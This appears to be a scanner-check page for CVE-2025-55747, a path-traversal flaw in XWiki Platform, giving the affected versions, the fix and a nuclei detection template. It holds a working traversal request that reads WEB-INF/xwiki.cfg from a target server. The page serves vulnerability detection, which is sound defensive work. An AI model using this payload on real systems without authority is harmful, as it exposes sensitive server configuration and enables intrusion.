XWiki Platform - Information Disclosure

highseverity

9.1CVSS score

1.8%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 6.1-milestone-2 through 16.10.6, configuration files are accessible through the webjars API.

Impact

Remote attackers can access sensitive configuration files, potentially exposing critical information.

Fix

Update to version 16.10.7 or later.

How to confirm it

Send: GET {{BaseURL}}/xwiki/webjars/wiki%3Axwiki/..%2F..%2F..%2F..%2F..%2FWEB-INF%2Fxwiki.cfg
Positive when: contains_all(body, "xwiki.editcomment=","xwiki.plugins=","xwiki.encoding=") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-55747 -u <target>

The full check

id: CVE-2025-55747

info:
  name: XWiki Platform - Information Disclosure
  author: Redmomn
  severity: high
  description: |
    XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. In versions 6.1-milestone-2 through 16.10.6, configuration files are accessible through the webjars API.
  impact: |
    Remote attackers can access sensitive configuration files, potentially exposing critical information.
  remediation: |
    Update to version 16.10.7 or later.
  reference:
    - https://jira.xwiki.org/browse/XWIKI-19350
    - https://nvd.nist.gov/vuln/detail/CVE-2025-55747
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2025-55747
    epss-score: 0.01751
    epss-percentile: 0.78055
    cwe-id: CWE-23
  metadata:
    verified: true
    fofa-query: app="XWIKI-Platform"
  tags: cve,cve2025,xwiki,lfi,vuln,vkev

http:
  - method: GET
    path:
      - '{{BaseURL}}/xwiki/webjars/wiki%3Axwiki/..%2F..%2F..%2F..%2F..%2FWEB-INF%2Fxwiki.cfg'

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "xwiki.editcomment=","xwiki.plugins=","xwiki.encoding=")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from